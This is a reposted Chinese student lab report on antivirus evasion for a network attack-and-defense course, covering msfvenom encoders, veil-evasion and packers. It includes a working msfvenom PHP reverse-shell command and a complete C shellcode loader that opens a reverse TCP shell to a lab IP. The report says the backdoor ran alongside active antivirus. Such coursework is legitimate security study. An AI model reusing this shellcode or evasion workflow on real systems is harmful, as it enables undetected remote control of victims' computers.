其他分享
首页 > 其他分享> > 2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165303 Exp3 免杀原理与实践

作者:互联网

实验内容

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

基础问题回答及免杀的原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

我认为免杀就是使用一定的伪装把自己的程序进行改头换面从而达到不被杀软发现的目的,从而实现恶意软件能够长期存在于系统中,实现自己的恶意功能

实验内容

实验一正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

任务一使用msf编码器生成各种后门程序及检测

  1. 正确使用msf编码器,生成exe文件

2.利用msfvenom生成jar文件



一个软件引擎还是有很多发现是木马程序的,但另一个引擎发现的比较少,只有几个发现是java木马程序,说明java后门程序还是稍微有点作用的

3.msfvenom生成php文件
生成php后门程序的命令如下
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 x> wy_backdoor.php

下面来测试一下生成的结果


发现能被杀毒引擎查出来的已经很少了

任务二使用veil-evasion生成后门程序及检测

sudo apt-get install veil-evasion

任务三半手工注入Shellcode并执行

在桌面上创建一个.c文件直接丢到codeblocks里加上头文件编译一下直接就可以运行

#include<stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x9a"
"\x68\x02\x00\x14\xb7\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

实验二通过组合应用各种技术实现恶意代码免杀

任务一半手工制作shellcode加压缩壳

任务二加密壳

实验三用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用的同学的win7虚拟机,杀毒软件名称金山毒霸版本如下

程序与金山毒霸共存截图

成功回连结果

标签:x68,免杀,x8b,20165303,检测,xff,Exp3,x01,x00
来源: https://www.cnblogs.com/Vventador/p/10628140.html